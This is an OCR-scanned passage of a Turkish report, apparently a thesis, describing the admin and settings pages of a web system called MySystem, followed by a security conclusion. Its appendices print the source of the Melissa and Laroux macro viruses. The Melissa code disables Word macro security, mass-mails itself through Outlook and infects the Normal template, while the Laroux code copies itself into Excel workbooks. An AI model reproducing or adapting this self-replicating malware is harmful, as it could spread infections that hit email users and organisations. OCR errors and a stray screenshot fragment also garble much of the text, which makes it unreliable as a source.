Servis yonetimi yetkisine sahip kullanici tarafindan miisterilerin bilgileri degistirilebilir. Aym
zamanda miisteriye bagl kullanicilarin toplam kag tane oldugunu ve agik detayint MySystem,
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kullanicilara sunar. Bu boliim i¢in veritabaninda tblCustomer, tblService ve tblUser tablolari
kullanilir.

Link : http://localhost/MySystem/service/customer.aspx

10.6.3 Kullanicilar

Tanimlanmis olan tiim miisterilerle ilgili ger¢cek ve sanal kullanici kayitlar1 kullanic
veritabanin1  olusturur. Bu baghk altinda kullanic1 kayidi, arama islemleri yapilir.
MySystem’de taniml1 olan tiim kullanicilar listelenir. Istenirse kullanicilarin sistem igersinde
durumlarina gore filtre yapmak da miimkiindiir. Bu bdliim i¢in veritabaninda tblUser,
tblCustomer tablolar1 kullanilir.

Link : http://localhost/MySystem/service/user.aspx
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10.7 Ayarlar

Bu boliime ayarlar yetkisine sahip kullacilar tarafindan girilebilir. MySystem’ de
kayitli olan tiim kullanicilarin sifreleri dahil diger bilgileri goriilebilir ve diizenlenebilir. Bu
ylizden bu boliim gilivenlik agisindan oldukg¢a hassas bir boliimdiir. Bu ayar kullanicilara
verilmeden Once dikkat edilmesi gerekmektedir.

10.7.1 Sunucular

Web uygulamalar1 ve diger uygulamalarin c¢alisacagi sunucular sisteme dahil
olduklarinda tanimlanir. Sunucular sistemde listelenir. Bu boliim igin veritabaninda tblServer
tablosu kullanilir.

Link : http://localhost/MySystem/setting/server.aspx
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Qi © 1 B G Dot e @25 3-UGA BB

Adiress [ httpifflocalhost My Systemfindex. aspx v Beo ks ?
Google |G- v oo v ff Bockmarkse Ehoblocked % check » yAutolink v T Auonl (s Sendtoe () settingsw

'14.05.2007" | ver121 4 1 BEm B e T R

Tanimlamalar :. Ment

4 Sunusular
! @ Sunucular

% Kanallar w wieh uyqulamalan ve dider uygulamalann galisacad sunucular sisterms dahil
olduklaninda tanimlanir,
‘&‘ e 3 Kullanicilar “ Kullamci Gruplan

= Sisteme erisim hakkina sahip kullaniailar sisteme tanimlsnir ve kullanier » Kullanicilarin gruplanabilecedi kullanici gruplar sisteme tanimlanir, Be bu
‘i Kullanici Gruplan gruplarina badlanir, kullarier gruplar servislere baglanir.

Ltg Servis Tipi

= Tamimh servis dzerindeki uygulama tiplerini ve detayini tanimlar.
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%J Lacal intranet
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10.7.2 Kullanicilar

Sisteme erisim hakkina sahip kullanicilar sisteme tanimlanir ve kullanici gruplarina
baglanir. Burada kullanicilarin sistem igersindeki durumlarini ve hangi kullanic1 gruplarina
bagli oldugu incelenebilir. Istenirse kullamicin bilgileri, yetkili kullanici tarafindan
degistirilebilir. Bu boliim i¢in veritabaninda tblUser tablosu kullanilir.

Link : http://localhost/MySystem/setting/user.aspx

10.7.3 Servis Tipi

Tanimli servis tlizerindeki uygulama tiplerini ve detayini tanimlar. Servis eklenirken,
servis tipi boliimiinii bu boliimden kontrol edilir. Bu bdliim igin veritabaninda tblAppType
tablosu kullanilir.

Link : http://localhost/MySystem/setting/apptype.aspx

10.7.4 Kullanici Gruplari

Kullanicilarin gruplanabilecegi kullanic1 gruplar sistemde listelenir ve tanimlanir.
Eger kullanicilarin giris yetkisi yoksa, kullanici gruplari béliimiinden ayarlar yetkisi
eklenebilir. Herhangi bir kullanic1 grubu sistemden ¢ikarilmak istendiginde, bu grup altinda
tim kullanicilart etkileyecektir. Bu yiizden kullanici gruplart veritabanindan ¢ikartilmak
istendiginde dikkat edilmesi gereklidir. Bu bolim igin veritabaninda tblUserGroup,
tblUserGroupService, tblUserService ve tblUserUserGroup tablolar: kullanilir.

Ajanda

Ayarlar
Operasyonel Destek
Proje Yonetim
Rapor

Satis

Sayfa

Servis

Sistem

Uygulama Gelistirme
Yardim Masasti

Link : http://localhost/MySystem/setting/usergroup.aspx
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11. SON SOz

Bu dokiimanda, bilisim giivenliginin saglanmasi i¢in ag ve sistem yoOneticileri
tarafindan kullanilabilecek yaklagimlarin ve teknolojilerin tanimi sunulmaktadir. Kurum
hedeflerinin ve kurumsal glivenlik politikasinin belirlenmesinden sonra MySystem tarafindan
onerilen giivenlik uygulamalar1 dongiisii ve bu ¢ercevede sunulan ¢oziim bilesenlerinin uygun
bir bicimde bir araya getirilmesi anlamli olacaktir. Unutulmamasi gereken bilisim
giivenliginin saglanmasina yonelik cabalar bitmeyen ve devamli iyilestirmeler ile giincel
tutulmasi gereken bir faaliyet olmalidir.

Bilisim sistemlerinin ve bu sistemler tarafindan islenen bilgilerin giivenliginin
saglanmasi i¢in; kurumsal gilivenlik politikasinin belirlenmesi ve bu dogrultuda yonetsel,
operasyonel ve teknik denetimlerin yerlestirilmesi ve tiim kurum calisanlarin diizenli ve
kesintisiz egitiminin saglanmasi, bilisim gilivenliginin saglanmasi i¢in en uygun yaklagim
olacaktir. Teknolojideki degisimin hizli, {irtinlerin karmasik, rekabetin yogun olmasi nedeni
ile glivenlik 6zellikleriyle donatilan platformlar ve uygulamalar siirekli gelistirilmelidir.

Aragtirmada, giivenlik bilincinin olusmamasi ve teknik konulardaki eksik uygulamalar
glivenlik aciklarinin temel nedeni olarak ortaya cikti. Sirketlerin, sistemlerinde gerekli
giivenlik yamalarini yapmalari, bilgi sistemleri gilivenligini tasarlamalari, sistem giivenlik
konfigiirasyonlarin1 kurmalarinin yani sira giivenlik risk analizi-yonetimini gerceklestirmeleri
durumunda giivenlik konusundaki eksikliklerini kapatabilecekleri belirlendi. Ayrica
sirketlerin bilgi giivenligini saglayamamalarindan dolay1 karsilarina ¢ikacak kayiplarin
boyutlar1 hakkinda fikir sahibi olmadiklar1 belirlendi.

Kurumlarinlarin giivenlik prosediirleri, yetki ve sorumluluk siniflari ve ulasim izinleri,
detayli loglama gibi geleneksel tedbirlerin yani sira, kendi i¢ aglarini Internet yolu ile gelecek
tehlikelere karsi korumak icin firewall ¢oziimleri, virus, gateway c¢oziimleri gibi teknolojik
onlemler de alinmasi gerektigi belirlendi. Bunlara ilave olarak kurumlar, veri tabanlarinda
tutulan kayitlar1 siniflandirarak, 6nemli olanlart sifrelenmis olarak tutmalidir. Sifrelenmis
bilgi Internet iizerinde iletilirken ele gecirilse bile, sifrenin kirilmasi ¢ok biiyiik bir yatirim ve
oldukca uzun bir zaman dilimi gerektirdiginden giivenli oldugu kabul edilebilir. Verilerin
sifrelenmesi i¢in yaygin olarak SSL (Secure Socket Layer) giivenlik standardi
kullanilmaktadir.

Son on yilda her yoniiyle hayatimiza giren Internet ve benzeri olanaklar, diger
konularda oldugu gibi, anlik iletiler konusunda da pek cok kolaylik saglarken, daha once
yasamadigimiz, diistinmedigimiz sorunlar1 beraberinde getirmistir. Bu durumda bize diisen
ise, gelisen teknolojiden korkmak ve kullanmay1 reddetmek yerine, sorunlarimi ¢oziip
yararlanmaktir.

Eger son kullanicida zamanin bir kismimi “Sistemlerdeki veriler acaba giivende mi ?”
sorgusunu yapmak i¢in harcarsa, bilgi giivenligi konudaki en Onemli asama geg¢ilmis
olacaktir.

Sonug olarak, ozellikle Internet tabanli projelerde kural ve siireglere uyumdaki

eksikligi ortaya ¢ikarmak amactyla, saldir1 yontemleri kullanilarak, agiklik degerlendirmeleri
yapilmalidir.
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EKLER

Ek A - Melissa Viriisu

Private Sub Document Open()
On Error Resume Next
IT System.PrivateProfileString('",
""HKEY_CURRENT_USER\Software\Microsoft\Office\9 .O\W o rd\Securi ty",
"Level'™) <> """ Then
CommandBars(*'"Macro'™) .Controls("'Security...'") _Enabl(ed = False)
System._PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 _O\W o rd\Securi ty",
"Level'™) = 1&
Else
CommandBars("'Tools") .Controls(*'Macro') .Enabled = False
Options.ConfirmConversions = (1 - 1) : Options.VirusProtection
= (1 - 1) : Options.SaveNormalPrompt = (1 - 1)
End IFf

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
UngaDasOutlook = CreateObject("'Outlook.Application'™)
DasMapiName = UngaDasOutlook.GetNameSpace(""MAPI'™)

IT System.PrivateProfileString('",
""HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?'") <> "... by
Kwyjibo™ Then

IT UngaDasOutlook = "Outlook'" Then
DasMapiName.Logon(*'profile', "password'™)
For y = 1 To DasMapiName.AddressLists.Count
AddyBook = DasMapiName.AddressLists(y)
x =1
BreakUmOFfASlice = UngaDasOutlook.Createltem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOTFASlice._Recipients.Add(Peep)

X =x+1

IT x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOFfASlice.Subject = "Important Message From ™ &

Application.UserName

BreakUmOffASlice.Body = "Here is that document you
asked for ... don"t show anyone else Wink"

BreakUmOFfASlice.Attachments.Add(ActiveDocument.Ful IName)
BreakUmOFfASlice.Send()

Peep = "
Next y
DasMapiName.Logoff()
End If
System_PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?'") = "... by
Kwyjibo"
End If
ADI1 = ActiveDocument.VBProject.VBComponents. Item(1)
NTI1 = NormalTemplate.VBProject.VBComponents. ltem(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2

IT ADI1.Name <> "Melissa'" Then
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IT ADCL > 0 Then ADI1.CodeModule.DeleteLines(l, ADCL)
Tolnfect = ADI1

ADI1_.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
IT NTCL > 0 Then NT11.CodeModule.DeleteLines(1l, NTCL)
Tolnfect = NTI1

NTI1.Name = "Melissa"
DONT = True
End If

IT DoNT <> True And DoAD <> True Then GoTo CYA

IT DONT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = "
ADI1._CodeModule.DeleteLines(1l)
Loop
Tolnfect.CodeModule.AddFromString("'Private Sub
Document_Close()"™)
Do While ADI1.CodeModule.Lines(BGN, 1) <> '
Tolnfect.CodeModule.InsertLines(BGN,
ADI1.CodeModule.Lines(BGN, 1))
BGN = BGN + 1
Loop
End If

IT DOAD = True Then
Do While NTI1l.CodeModule.Lines(1, 1) = """
NTI11.CodeModule.DeleteLines(1)
Loop
Tolnfect.CodeModule .AddFromString("'Private Sub
Document_Open()'™)
Do While NTI1l.CodeModule.Lines(BGN, 1) <> "
Tolnfect.CodeModule. InsertLines(BGN,
NTI11.CodeModule.Lines(BGN, 1))
BGN = BGN + 1
Loop
End If

CYA:

IT NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document') = False) Then
ActiveDocument.SaveAs(FileName:=ActiveDocument.Ful IName)
ElselT (InStr(1, ActiveDocument._Name, "‘Document') <> False) Then
ActiveDocument.Saved = True
End If

IT Day(Now) = Minute(Now) Then Selection.TypeText(’" Twenty-two
points, plus triple-word-score, plus fTifty points for using all my letters.
Game®s over. I"m outta here.')

End Sub
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Ek B - Laroux Viriisii

Sub auto_open()
Application.OnSheetActivate = "check files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "BINV.XLS"™)
IT m$ = "BINV.XLS" Then p =1 Else p =0
IT ActiveWorkBook.Modules.Count > 10 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUptating = False
n4$ = ActiveWorkBook.Name
Sheets(*'laroux™) .Visible = True
Sheets("'laroux') .Select()
Sheets(*'laroux') .Copy()
With ActiveWorkBook
Title = "
-Subject =
-Author = """
-Keywords
-Comments
End With
newname$ = ActiveWorkBook.Name
c4$ = CurDir(Q)
ChDir(Application.StartupPath)
ActiveWindow.Visible = False
WorkBooks(newname$) .SaveAs Filename:=Application.StartupPath & "/"

& "BINV_XLS"™, FileFormat:=""", ReadOnlyReccommended:=_ False,
CreateBackup:=False
ChDir(c4%$)

Workbooks(n4$) .Sheets(*'laroux™) .Visible = False
Application.OnSheetActivate = "
Application.ScreenUpdate = True
Application.OnSheetActive = "BINV.xIs!Icheck_ files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkBook.Name
p4$ = ActiveWorkBook.Path
s$ = Workbooks(n4$) .Sheets(1) .Name
IT s$ <> "laroux™ Then
Workbooks("'BINV.XLS") .Sheets. (""laroux') .Copy
before:=Workbooks(n4$) .Sheets(1)
Workbooks(n4$) .Sheets("laroux') .Visible = False
Else
End If
Application.OnSheetActivate =
Application.ScreenUpdating = True
Application.OnSheetActivate = "BINV.xlslcheck_files"
Case Else
End Select
End Sub
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